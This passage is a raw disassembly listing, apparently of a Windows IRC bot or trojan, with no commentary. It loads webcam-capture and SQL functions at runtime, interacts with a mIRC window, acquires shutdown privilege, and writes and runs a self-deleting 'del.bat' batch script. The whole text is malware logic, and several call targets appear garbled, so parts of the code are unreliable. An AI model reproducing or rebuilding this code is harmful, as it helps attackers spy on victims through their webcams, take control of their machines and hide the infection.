sub_40981F+AEAj nop call near ptr 26702AAh mov dword_43AEAC, eax loc_40A368: ; CODE XREF: sub_40981F+B26j ; sub_40981F+B2Ej ... mov dword_43AEA8, 1 loc_40A372: ; CODE XREF: sub_40981F+B3Aj push offset aShell32_dll ; "shell32.dll" call ebp mov edi, eax cmp edi, ebx jz short loc_40A3A7 push offset aShellexecutea ; "ShellExecuteA" push edi call esi push offset aShchangenotify ; "SHChangeNotify" push edi mov dword_43AD0C, eax call esi cmp dword_43AD0C, ebx mov dword_43AE0C, eax jz short loc_40A3B2 cmp eax, ebx jnz short loc_40A3BC jmp short loc_40A3B2 ; --------------------------------------------------------------------------- loc_40A3A7: ; CODE XREF: sub_40981F+B5Ej call near ptr 26702AAh nop mov dword_43AEB4, eax loc_40A3B2: ; CODE XREF: sub_40981F+B80j ; sub_40981F+B86j mov dword_43AEB0, 1 loc_40A3BC: ; CODE XREF: sub_40981F+B84j push offset aOdbc32_dll ; "odbc32.dll" call ebp mov edi, eax cmp edi, ebx jz short loc_40A445 push offset aSqldriverconne ; "SQLDriverConnect" push edi call esi push offset aSqlsetenvattr ; "SQLSetEnvAttr" push edi mov dword_43ADD4, eax call esi push offset aSqlexecdirect ; "SQLExecDirect" push edi mov dword_43AE20, eax call esi push offset aSqlallochandle ; "SQLAllocHandle" push edi mov dword_43AD5C, eax call esi push offset aSqlfreehandle ; "SQLFreeHandle" push edi mov dword_43AD1C, eax call esi push offset aSqldisconnect ; "SQLDisconnect" push edi mov dword_43ADB4, eax call esi cmp dword_43ADD4, ebx mov dword_43AD28, eax jz short loc_40A450 cmp dword_43AE20, ebx jz short loc_40A450 cmp dword_43AD5C, ebx jz short loc_40A450 cmp dword_43AD1C, ebx jz short loc_40A450 cmp dword_43ADB4, ebx jz short loc_40A450 cmp eax, ebx jnz short loc_40A45A jmp short loc_40A450 ; --------------------------------------------------------------------------- loc_40A445: ; CODE XREF: sub_40981F+BA8j call near ptr 26702AAh nop mov dword_43AEBC, eax loc_40A450: ; CODE XREF: sub_40981F+BFEj ; sub_40981F+C06j ... mov dword_43AEB8, 1 loc_40A45A: ; CODE XREF: sub_40981F+C22j push offset aAvicap32_dll ; "avicap32.dll" call ebp mov edi, eax cmp edi, ebx jz short loc_40A48F push offset aCapcreatecaptu ; "capCreateCaptureWindowA" push edi call esi push offset aCapgetdriverde ; "capGetDriverDescriptionA" push edi mov dword_43ACF0, eax call esi cmp dword_43ACF0, ebx mov dword_43ADC8, eax jz short loc_40A49A cmp eax, ebx jnz short loc_40A4A4 jmp short loc_40A49A ; --------------------------------------------------------------------------- loc_40A48F: ; CODE XREF: sub_40981F+C46j call near ptr 26702AAh nop mov dword_43AEC4, eax loc_40A49A: ; CODE XREF: sub_40981F+C68j ; sub_40981F+C6Ej mov dword_43AEC0, 1 loc_40A4A4: ; CODE XREF: sub_40981F+C6Cj push 1 pop eax pop edi pop esi pop ebp pop ebx retn sub_40981F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40A4AC proc near ; CODE XREF: sub_40EE72+57D3p var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 200h push ebx mov ebx, [ebp+arg_4] push esi xor esi, esi cmp dword_43AE58, esi push edi mov edi, [ebp+arg_8] jz short loc_40A4F4 push dword_43AE5C lea eax, [ebp+var_200] push offset aKernel32_dllFa ; "Kernel32.dll failed. <%d>" push eax call sub_4172B0 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_40D679 add esp, 20h loc_40A4F4: ; CODE XREF: sub_40A4AC+1Aj cmp dword_43AE60, esi jz short loc_40A528 push dword_43AE64 lea eax, [ebp+var_200] push offset aUser32_dllFail ; "User32.dll failed. <%d>" push eax call sub_4172B0 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_40D679 add esp, 20h loc_40A528: ; CODE XREF: sub_40A4AC+4Ej cmp dword_43AE68, esi jz short loc_40A55C push dword_43AE6C lea eax, [ebp+var_200] push offset aAdvapi32_dllFa ; "Advapi32.dll failed. <%d>" push eax call sub_4172B0 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_40D679 add esp, 20h loc_40A55C: ; CODE XREF: sub_40A4AC+82j cmp dword_43AE70, esi jz short loc_40A590 push dword_43AE74 lea eax, [ebp+var_200] push offset aGdi32_dllFaile ; "Gdi32.dll failed. <%d>" push eax call sub_4172B0 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_40D679 add esp, 20h loc_40A590: ; CODE XREF: sub_40A4AC+B6j cmp dword_43AE78, esi jz short loc_40A5C4 push dword_43AE7C lea eax, [ebp+var_200] push offset aWs2_32_dllFail ; "Ws2_32.dll failed. <%d>" push eax call sub_4172B0 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_40D679 add esp, 20h loc_40A5C4: ; CODE XREF: sub_40A4AC+EAj cmp dword_43AE80, esi jz short loc_40A5F8 push dword_43AE84 lea eax, [ebp+var_200] push offset aWininet_dllFai ; "Wininet.dll failed. <%d>" push eax call sub_4172B0 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_40D679 add esp, 20h loc_40A5F8: ; CODE XREF: sub_40A4AC+11Ej cmp dword_43AE88, esi jz short loc_40A62C push dword_43AE8C lea eax, [ebp+var_200] push offset aIcmp_dllFailed ; "Icmp.dll failed. <%d>" push eax call sub_4172B0 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_40D679 add esp, 20h loc_40A62C: ; CODE XREF: sub_40A4AC+152j cmp dword_43AE90, esi jz short loc_40A660 push dword_43AE94 lea eax, [ebp+var_200] push offset aNetapi32_dllFa ; "Netapi32.dll failed. <%d>" push eax call sub_4172B0 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_40D679 add esp, 20h loc_40A660: ; CODE XREF: sub_40A4AC+186j cmp dword_43AE98, esi jz short loc_40A694 push dword_43AE9C lea eax, [ebp+var_200] push offset aDnsapi_dllFail ; "Dnsapi.dll failed. <%d>" push eax call sub_4172B0 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_40D679 add esp, 20h loc_40A694: ; CODE XREF: sub_40A4AC+1BAj cmp dword_43AEA0, esi jz short loc_40A6C8 push dword_43AEA4 lea eax, [ebp+var_200] push offset aIphlpapi_dllFa ; "Iphlpapi.dll failed. <%d>" push eax call sub_4172B0 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_40D679 add esp, 20h loc_40A6C8: ; CODE XREF: sub_40A4AC+1EEj cmp dword_43AEA8, esi jz short loc_40A6FC push dword_43AEAC lea eax, [ebp+var_200] push offset aMpr32_dllFaile ; "Mpr32.dll failed. <%d>" push eax call sub_4172B0 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_40D679 add esp, 20h loc_40A6FC: ; CODE XREF: sub_40A4AC+222j cmp dword_43AEB0, esi jz short loc_40A730 push dword_43AEB4 lea eax, [ebp+var_200] push offset aShell32_dllFai ; "Shell32.dll failed. <%d>" push eax call sub_4172B0 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_40D679 add esp, 20h loc_40A730: ; CODE XREF: sub_40A4AC+256j cmp dword_43AEB8, esi jz short loc_40A764 push dword_43AEBC lea eax, [ebp+var_200] push offset aOdbc32_dllFail ; "Odbc32.dll failed. <%d>" push eax call sub_4172B0 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_40D679 add esp, 20h loc_40A764: ; CODE XREF: sub_40A4AC+28Aj cmp dword_43AEC0, esi jz short loc_40A798 push dword_43AEC4 lea eax, [ebp+var_200] push offset aAvicap32_dllFa ; "Avicap32.dll failed. <%d>" push eax call sub_4172B0 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_40D679 add esp, 20h loc_40A798: ; CODE XREF: sub_40A4AC+2BEj lea eax, [ebp+var_200] push offset unk_42D764 push eax call sub_4172B0 cmp [ebp+arg_C], esi pop ecx pop ecx jnz short loc_40A7C5 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_40D679 add esp, 14h loc_40A7C5: ; CODE XREF: sub_40A4AC+302j lea eax, [ebp+var_200] push eax call sub_40BF6D pop ecx pop edi pop esi pop ebx leave retn sub_40A4AC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40A7D7 proc near ; CODE XREF: sub_40EE72+C5Ep ; sub_40EE72+C92p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push esi push edi mov edi, [ebp+arg_0] xor esi, esi cmp edi, esi jz short loc_40A862 mov eax, [ebp+arg_4] cmp eax, esi jz short loc_40A862 cmp [ebp+arg_8], esi jz short loc_40A862 cmp byte ptr [eax], 0 jz short loc_40A862 push ebx push edi call sub_42274B mov ebx, eax pop ecx test ebx, ebx jz short loc_40A85D push [ebp+arg_4] push edi call sub_417880 mov esi, eax pop ecx test esi, esi pop ecx jz short loc_40A856 sub eax, edi push eax push edi push ebx call sub_418C10 push [ebp+arg_8] mov eax, ebx sub eax, edi and byte ptr [eax+esi], 0 call sub_417AB0 push eax push [ebp+arg_8] push ebx call sub_418DE0 push [ebp+arg_4] call sub_417AB0 add eax, esi push eax push ebx call sub_4179D0 push ebx push edi call sub_4179C0 add esp, 30h mov esi, edi loc_40A856: ; CODE XREF: sub_40A7D7+3Cj push ebx call sub_417C3B pop ecx loc_40A85D: ; CODE XREF: sub_40A7D7+2Bj mov eax, esi pop ebx jmp short loc_40A864 ; --------------------------------------------------------------------------- loc_40A862: ; CODE XREF: sub_40A7D7+Cj ; sub_40A7D7+13j ... xor eax, eax loc_40A864: ; CODE XREF: sub_40A7D7+89j pop edi pop esi pop ebp retn sub_40A7D7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40A868 proc near ; CODE XREF: sub_40ECFA+E9p var_7D0 = dword ptr -7D0h var_7CC = byte ptr -7CCh arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 7D0h push ebx push esi push 7D0h lea eax, [ebp+var_7D0] push 0 push eax call sub_417330 mov esi, [ebp+arg_0] push esi call sub_417AB0 add esp, 10h push 1 pop ebx cmp eax, ebx jge short loc_40A89E loc_40A899: ; DATA XREF: ___:00428424o ; ___:00428468o ... or eax, 0FFFFFFFFh jmp short loc_40A911 ; --------------------------------------------------------------------------- loc_40A89E: ; CODE XREF: sub_40A868+2Fj xor ecx, ecx mov [ebp+var_7D0], esi test eax, eax jle short loc_40A8C0 loc_40A8AA: ; CODE XREF: sub_40A868+56j mov dl, [ecx+esi] cmp dl, 0Ah jz short loc_40A8B7 cmp dl, 0Dh jnz short loc_40A8BB loc_40A8B7: ; CODE XREF: sub_40A868+48j and byte ptr [ecx+esi], 0 loc_40A8BB: ; CODE XREF: sub_40A868+4Dj inc ecx cmp ecx, eax jl short loc_40A8AA loc_40A8C0: ; CODE XREF: sub_40A868+40j xor edx, edx push edi test eax, eax jle short loc_40A8F1 lea edi, [ebp+var_7CC] loc_40A8CD: ; CODE XREF: sub_40A868+87j cmp byte ptr [edx+esi], 0 jnz short loc_40A8EC cmp byte ptr [edx+esi+1], 0 lea ecx, [edx+esi+1] jz short loc_40A8EC cmp ebx, 1F4h jge short loc_40A8F1 mov [edi], ecx inc ebx add edi, 4 loc_40A8EC: ; CODE XREF: sub_40A868+69j ; sub_40A868+74j inc edx cmp edx, eax jl short loc_40A8CD loc_40A8F1: ; CODE XREF: sub_40A868+5Dj ; sub_40A868+7Cj cmp [ebp+arg_4], 0 pop edi jz short loc_40A90F lea eax, [ebp+var_7D0] push 7D0h push eax push [ebp+arg_4] call sub_417390 add esp, 0Ch loc_40A90F: ; CODE XREF: sub_40A868+8Ej mov eax, ebx loc_40A911: ; CODE XREF: sub_40A868+34j pop esi pop ebx leave retn sub_40A868 endp ; =============== S U B R O U T I N E ======================================= sub_40A915 proc near ; CODE XREF: sub_40A96F+33p arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov eax, [esp+arg_4] push esi push edi mov edi, [esp+8+arg_8] mov ecx, 1F4h xor esi, esi rep stosd lea edi, [eax-1] test edi, edi jl short loc_40A94E push ebx mov ebx, edi loc_40A932: ; CODE XREF: sub_40A915+36j mov eax, [esp+0Ch+arg_0] mov al, [esi+eax] push eax call sub_40A951 pop ecx inc esi mov ecx, [esp+0Ch+arg_8] mov [ecx+eax*4], ebx dec ebx cmp esi, edi jle short loc_40A932 pop ebx loc_40A94E: ; CODE XREF: sub_40A915+18j pop edi pop esi retn sub_40A915 endp ; =============== S U B R O U T I N E ======================================= sub_40A951 proc near ; CODE XREF: sub_40A915+25p ; sub_40A96F+6Bp arg_0 = byte ptr 4 movsx eax, [esp+arg_0] push eax call sub_419101 cmp al, 61h pop ecx jl short loc_40A96C cmp al, 7Ah jg short loc_40A96C movsx eax, al sub eax, 60h retn ; --------------------------------------------------------------------------- loc_40A96C: ; CODE XREF: sub_40A951+Ej ; sub_40A951+12j xor eax, eax retn sub_40A951 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40A96F proc near ; CODE XREF: sub_40C04D+10p ; sub_40C07F+A0p var_100C = dword ptr -100Ch var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp mov eax, 100Ch call sub_417B30 push ebx push esi push edi push [ebp+arg_0] call sub_417AB0 push [ebp+arg_4] mov [ebp+var_4], eax call sub_417AB0 mov esi, eax lea eax, [ebp+var_100C] push eax push esi push [ebp+arg_4] mov [ebp+var_C], esi call sub_40A915 add esp, 14h dec esi mov edi, esi loc_40A9AD: ; CODE XREF: sub_40A96F+B6j test esi, esi jle short loc_40AA2B mov eax, [ebp+arg_4] movsx eax, byte ptr [esi+eax] push eax call sub_419101 mov ebx, eax mov eax, [ebp+arg_0] movsx eax, byte ptr [edi+eax] push eax call sub_419101 pop ecx cmp eax, ebx pop ecx jz short loc_40AA23 loc_40A9D3: ; CODE XREF: sub_40A96F+B2j mov ebx, [ebp+arg_0] mov al, [edi+ebx] push eax call sub_40A951 mov edx, [ebp+var_C] mov eax, [ebp+eax*4+var_100C] pop ecx mov ecx, edx sub ecx, esi cmp ecx, eax jle short loc_40A9F4 mov eax, ecx loc_40A9F4: ; CODE XREF: sub_40A96F+81j add edi, eax cmp edi, [ebp+var_4] jge short loc_40AA27 mov eax, [ebp+arg_4] lea esi, [edx-1] movsx eax, byte ptr [esi+eax] push eax call sub_419101 mov edx, eax movsx eax, byte ptr [edi+ebx] push eax mov [ebp+var_8], edx call sub_419101 pop ecx pop ecx mov ecx, [ebp+var_8] cmp eax, ecx jnz short loc_40A9D3 loc_40AA23: ; CODE XREF: sub_40A96F+62j dec edi dec esi jmp short loc_40A9AD ; --------------------------------------------------------------------------- loc_40AA27: ; CODE XREF: sub_40A96F+8Aj xor eax, eax jmp short loc_40AA30 ; --------------------------------------------------------------------------- loc_40AA2B: ; CODE XREF: sub_40A96F+40j mov eax, [ebp+arg_0] add eax, edi loc_40AA30: ; CODE XREF: sub_40A96F+BAj pop edi pop esi pop ebx leave retn sub_40A96F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40AA35 proc near ; CODE XREF: sub_40EE72+3C8Cp ; sub_40EE72+4AF5p var_100 = byte ptr -100h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 100h push esi call near ptr 26702AAh nop mov esi, eax push 0 lea eax, [ebp+var_100] push 100h push eax push 400h push esi push 0 push 1200h call near ptr 2750000h nop lea eax, [ebp+var_100] loc_40AA6E: ; CODE XREF: sub_40AA35+46j mov cl, [eax] cmp cl, 1Fh jg short loc_40AA7A cmp cl, 9 jnz short loc_40AA7D loc_40AA7A: ; CODE XREF: sub_40AA35+3Ej inc eax jmp short loc_40AA6E ; --------------------------------------------------------------------------- loc_40AA7D: ; CODE XREF: sub_40AA35+43j ; sub_40AA35+5Bj ... and byte ptr [eax], 0 dec eax lea ecx, [ebp+var_100] cmp eax, ecx jb short loc_40AA97 mov cl, [eax] cmp cl, 2Eh jz short loc_40AA7D cmp cl, 21h jl short loc_40AA7D loc_40AA97: ; CODE XREF: sub_40AA35+54j lea eax, [ebp+var_100] push esi push eax mov esi, offset dword_43AEC8 push [ebp+arg_0] push offset aSErrorSD_ ; "%s Error: %s <%d>." push 200h push esi call sub_41782A add esp, 18h mov eax, esi pop esi leave retn sub_40AA35 endp ; =============== S U B R O U T I N E ======================================= sub_40AABF proc near ; CODE XREF: sub_40EE72+5732p push esi push 0 call dword_43AD68 test eax, eax jz short loc_40AAF6 push 1 call dword_43AD88 mov esi, eax test esi, esi jz short loc_40AAF6 push edi push esi nop call near ptr 27607FDh push esi mov edi, eax nop call near ptr 2760000h call dword_43ADEC mov eax, edi pop edi pop esi retn ; --------------------------------------------------------------------------- loc_40AAF6: ; CODE XREF: sub_40AABF+Bj ; sub_40AABF+19j xor eax, eax pop esi retn sub_40AABF endp ; =============== S U B R O U T I N E ======================================= sub_40AAFA proc near ; CODE XREF: sub_40EE72+48BFp arg_0 = dword ptr 4 push ebp push esi push edi xor esi, esi mov edi, offset aMirc ; "mIRC" push esi push edi call dword_43ADA4 mov ebp, eax cmp ebp, esi jz short loc_40AB76 push ebx push edi push 1000h push esi push 4 push esi push 0FFFFFFFFh call near ptr 2770350h nop push esi push esi mov edi, eax push esi push 0F001Fh push edi call near ptr 25B0000h nop push [esp+10h+arg_0] mov ebx, eax push ebx call sub_4172B0 pop ecx pop ecx push esi push 1 push 4C8h push ebp call dword_43ADF4 push esi push 1 push 4C9h push ebp call dword_43ADF4 push ebx nop call near ptr 2770000h push edi nop call near ptr 265089Dh push 1 pop eax pop ebx jmp short loc_40AB78 ; --------------------------------------------------------------------------- loc_40AB76: ; CODE XREF: sub_40AAFA+16j xor eax, eax loc_40AB78: ; CODE XREF: sub_40AAFA+7Aj pop edi pop esi pop ebp retn sub_40AAFA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40AB7C proc near ; CODE XREF: ___:0040E8BBp var_11C = byte ptr -11Ch var_18 = byte ptr -18h var_10 = byte ptr -10h var_8 = byte ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 11Ch push ebx push esi xor esi, esi push edi lea eax, [ebp+var_11C] push esi push eax push 104h push esi push offset aExplorer_exe ; "explorer.exe" push esi call dword_43AE54 test eax, eax jz short loc_40AC1B mov edi, 80h push esi push edi push 3 push esi mov esi, dword_424084 push 1 lea eax, [ebp+var_11C] push 80000000h push eax call esi mov ebx, eax cmp ebx, 0FFFFFFFFh jz short loc_40AC1B lea eax, [ebp+var_18] push eax lea eax, [ebp+var_8] push eax lea eax, [ebp+var_10] push eax push ebx nop call near ptr 2780000h push ebx mov ebx, dword_424078 call ebx push 0 push edi push 3 push 0 push 2 push 40000000h push [ebp+arg_0] call esi mov esi, eax cmp esi, 0FFFFFFFFh jz short loc_40AC1B lea eax, [ebp+var_18] push eax lea eax, [ebp+var_8] push eax lea eax, [ebp+var_10] push eax push esi nop call near ptr 27708FEh push esi call ebx loc_40AC1B: ; CODE XREF: sub_40AB7C+2Aj ; sub_40AB7C+51j ... pop edi pop esi pop ebx leave retn sub_40AB7C endp ; =============== S U B R O U T I N E ======================================= sub_40AC20 proc near ; CODE XREF: sub_40EE72+13C4p push 1 push offset aSeshutdownpriv ; "SeShutdownPrivilege" call sub_41511F pop ecx pop ecx push 50005h push 6 call dword_43ACE0 neg eax sbb eax, eax neg eax retn sub_40AC20 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40AC42 proc near ; CODE XREF: sub_40CAF1+472p ; sub_40EE72+59D4p var_764 = byte ptr -764h var_364 = byte ptr -364h var_260 = byte ptr -260h var_15C = byte ptr -15Ch var_58 = dword ptr -58h var_4C = dword ptr -4Ch var_2C = dword ptr -2Ch var_28 = word ptr -28h var_14 = byte ptr -14h var_4 = byte ptr -4 push ebp mov ebp, esp sub esp, 764h push esi xor esi, esi cmp dword_42F5C0, esi push edi jz short loc_40AC66 cmp dword_43AE68, esi jnz short loc_40AC66 push esi call sub_40C1AE pop ecx loc_40AC66: ; CODE XREF: sub_40AC42+13j ; sub_40AC42+1Bj call sub_416F25 lea eax, [ebp+var_764] push eax push 400h nop call near ptr 279117Ch lea eax, [ebp+var_764] push eax lea eax, [ebp+var_260] push offset aSdel_bat ; "%sdel.bat" push eax call sub_4172B0 add esp, 0Ch lea eax, [ebp+var_260] push esi push esi push 2 push esi push esi push 40000000h push eax nop call near ptr 2670000h mov edi, eax cmp edi, esi jbe loc_40ADC6 lea eax, [ebp+var_260] push eax lea eax, [ebp+var_764] push offset a@echoOffRepeat ; "@echo off\r\n:repeat\r\ndel \"%%1\"\r\nif exist"... push eax call sub_4172B0 add esp, 0Ch lea eax, [ebp+var_4] push esi push eax lea eax, [ebp+var_764] push eax call sub_417AB0 pop ecx push eax lea eax, [ebp+var_764] push eax push edi call near ptr 2660000h nop push edi nop call near ptr 265089Dh push 10h lea eax, [ebp+var_14] push esi push eax call sub_417330 push 44h lea eax, [ebp+var_58] pop edi push edi push esi push eax call sub_417330 add esp, 18h mov [ebp+var_58], edi mov edi, 104h lea eax, [ebp+var_15C] push edi push eax push esi mov [ebp+var_4C], offset byte_436EDC mov [ebp+var_2C], 1 mov [ebp+var_28], si nop call near ptr 2740B3Ch push eax call near ptr 2680000h nop lea eax, [ebp+var_15C] push eax nop call near ptr 26B0392h cmp eax, 0FFFFFFFFh jz short loc_40AD6E lea eax, [ebp+var_15C] push 80h push eax nop call near ptr 27910BBh loc_40AD6E: ; CODE XREF: sub_40AC42+118j lea eax, [ebp+var_15C] push eax lea eax, [ebp+var_260] push eax lea eax, [ebp+var_764] push offset aComspecCSS ; "%%comspec%% /c %s %s" push eax call sub_4172B0 add esp, 10h lea eax, [ebp+var_364] push edi push eax lea eax, [ebp+var_764] push eax nop call near ptr 2790000h lea eax, [ebp+var_14] push eax lea eax, [ebp+var_58] push eax push esi push esi push 4008h push 1 push esi lea eax, [ebp+var_364] push esi push eax push esi nop call near ptr 2780514h loc_40ADC6: ; CODE XREF: sub_40AC42+72j pop edi pop esi leave retn sub_40AC42 endp ; =============== S U B R O U T I N E ======================================= sub_40ADCA proc near ; CODE XREF: sub_4013EC+7p ; sub_401992+7p ... arg_0 = dword ptr 4 push [esp+arg_0] call dword_43ADD8 cmp eax, 0FFFFFFFFh jnz short locret_40ADF2 push [esp+arg_0] call dword_43AE1C test eax, eax jnz short loc_40ADEB or eax, 0FFFFFFFFh retn ; --------------------------------------------------------------------------- loc_40ADEB: ; CODE XREF: sub_40ADCA+1Bj mov eax, [eax+0Ch] mov eax, [eax] mov eax, [eax] locret_40ADF2: ; CODE XREF: sub_40ADCA+Dj retn sub_40ADCA endp ; =============== S U B R O U T I N E ======================================= sub_40ADF3 proc near ; CODE XREF: sub_40EB92+D6p mov ecx, dword_43ACC0 xor eax, eax test ecx, ecx jz short locret_40AE01 call ecx locret_40AE01: ; CODE XREF: sub_40ADF3+Aj retn sub_40ADF3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40AE02 proc near ; CODE XREF: sub_40EE72:loc_414556p var_88 = byte ptr -88h var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 88h push ebx push esi push edi push 1 pop ebx lea eax, [ebp+var_8] xor edi, edi push ebx push eax push edi xor esi, esi mov [ebp+var_8], edi mov [ebp+var_4], ebx call dword_43AE14 mov ecx, eax sub ecx, edi jz loc_40AEC8 sub ecx, 32h jz loc_40AEC1 sub ecx, 48h jz short loc_40AE62 sub ecx, 6Eh jz short loc_40AE5B loc_40AE44: ; CODE XREF: sub_40AE02+8Bj push eax lea eax, [ebp+var_88] push offset unk_42DA5C push eax call sub_4172B0 add esp, 0Ch jmp short loc_40AEA2 ; --------------------------------------------------------------------------- loc_40AE5B: ; CODE XREF: sub_40AE02+40j push offset unk_42DA28 jmp short loc_40AE94 ; --------------------------------------------------------------------------- loc_40AE62: ; CODE XREF: sub_40AE02+3Bj push [ebp+var_8] call sub_417B89 push [ebp+var_8] mov esi, eax push edi push esi call sub_417330 add esp, 10h cmp esi, edi jz short loc_40AE8F lea eax, [ebp+var_8] push ebx push eax push esi call dword_43AE14 cmp eax, edi jz short loc_40AEC8 jmp short loc_40AE44 ; --------------------------------------------------------------------------- loc_40AE8F: ; CODE XREF: sub_40AE02+79j push offset unk_42D9E8 loc_40AE94: ; CODE XREF: sub_40AE02+5Ej ; sub_40AE02+C4j lea eax, [ebp+var_88] push eax call sub_4172B0 pop ecx pop ecx loc_40AEA2: ; CODE XREF: sub_40AE02+57j lea eax, [ebp+var_88] mov [ebp+var_4], edi push eax call sub_40BF6D pop ecx loc_40AEB2: ; CODE XREF: sub_40AE02+C8j ; sub_40AE02+DCj push esi call sub_417C3B mov eax, [ebp+var_4] pop ecx pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_40AEC1: ; CODE XREF: sub_40AE02+32j push offset unk_42D9A8 jmp short loc_40AE94 ; --------------------------------------------------------------------------- loc_40AEC8: ; CODE XREF: sub_40AE02+29j ; sub_40AE02+89j cmp [esi], edi jbe short loc_40AEB2 lea ebx, [esi+4] loc_40AECF: ; CODE XREF: sub_40AE02+DAj push ebx call dword_43AE10 inc edi add ebx, 18h cmp edi, [esi] jb short loc_40AECF jmp short loc_40AEB2 sub_40AE02 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40AEE0 proc near ; CODE XREF: sub_40144A+243p ; sub_401D82+268p ... var_14 = byte ptr -14h var_10 = byte ptr -10h var_F = byte ptr -0Fh var_E = byte ptr -0Eh var_D = byte ptr -0Dh var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 14h push esi push 10h pop eax mov [ebp+var_4], eax push eax lea eax, [ebp+var_14] push 0 push eax call sub_417330 add esp, 0Ch lea eax, [ebp+var_4] push eax lea eax, [ebp+var_14] push eax push [ebp+arg_0] call dword_43AD3C movzx eax, [ebp+var_D] push eax mov esi, offset dword_43B0CC movzx eax, [ebp+var_E] push eax movzx eax, [ebp+var_F] push eax movzx eax, [ebp+var_10] push eax push offset aD_D_D_D ; "%d.%d.%d.%d" push esi call sub_4172B0 add esp, 18h mov eax, esi pop esi leave retn sub_40AEE0 endp ; =============== S U B R O U T I N E ======================================= sub_40AF39 proc near ; CODE XREF: sub_4010B5+24Cp ; sub_4010B5+292p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi mov esi, [esp+4+arg_4] xor eax, eax cmp esi, 1 jle short loc_40AF62 mov ecx, esi push edi shr ecx, 1 mov edx, ecx neg edx lea esi, [esi+edx*2] mov edx, [esp+8+arg_0] loc_40AF55: ; CODE XREF: sub_40AF39+24j movzx edi, word ptr [edx] add eax, edi inc edx inc edx dec ecx jnz short loc_40AF55 pop edi jmp short loc_40AF66 ; --------------------------------------------------------------------------- loc_40AF62: ; CODE XREF: sub_40AF39+Aj mov edx, [esp+4+arg_0] loc_40AF66: ; CODE XREF: sub_40AF39+27j test esi, esi pop esi jz short loc_40AF70 movzx ecx, byte ptr [edx] add eax, ecx loc_40AF70: ; CODE XREF: sub_40AF39+30j mov ecx, eax and eax, 0FFFFh shr ecx, 10h add ecx, eax mov eax, ecx shr eax, 10h add eax, ecx not eax retn sub_40AF39 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40AF86 proc near ; DATA XREF: sub_40EE72+2E51o var_10320 = byte ptr -10320h var_344 = byte ptr -344h var_144 = dword ptr -144h var_140 = byte ptr -140h var_C0 = byte ptr -0C0h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_20 = byte ptr -20h var_18 = dword ptr -18h var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 10320h call sub_417B30 mov eax, [ebp+arg_0] push ebx push esi push edi push 49h mov esi, eax pop ecx lea edi, [ebp+var_144] rep movsd push 1 pop edi mov [eax+120h], edi call dword_43AD24 mov [ebp+arg_0], eax lea eax, [ebp+var_C0] push eax call dword_43ADD8 mov esi, eax xor ebx, ebx xor eax, eax cmp esi, 0FFFFFFFFh jnz short loc_40AFE1 lea eax, [ebp+var_C0] push eax call dword_43AE1C cmp eax, ebx jz short loc_40AFE7 loc_40AFE1: ; CODE XREF: sub_40AF86+48j cmp [ebp+arg_0], 0FFFFFFFFh jnz short loc_40B044 loc_40AFE7: ; CODE XREF: sub_40AF86+59j lea eax, [ebp+var_C0] push eax lea eax, [ebp+var_344] push offset unk_42DAD8 push eax call sub_4172B0 add esp, 0Ch cmp [ebp+var_28], ebx jnz short loc_40B027 push ebx lea eax, [ebp+var_344] push [ebp+var_2C] push eax lea eax, [ebp+var_140] push eax push [ebp+var_144] call sub_40D679 add esp, 14h loc_40B027: ; CODE XREF: sub_40AF86+7Fj lea eax, [ebp+var_344] push eax call sub_40BF6D push [ebp+var_30] call sub_417078 pop ecx pop ecx push edi call near ptr 261095Eh nop loc_40B044: ; CODE XREF: sub_40AF86+5Fj cmp eax, ebx jz short loc_40B054 mov eax, 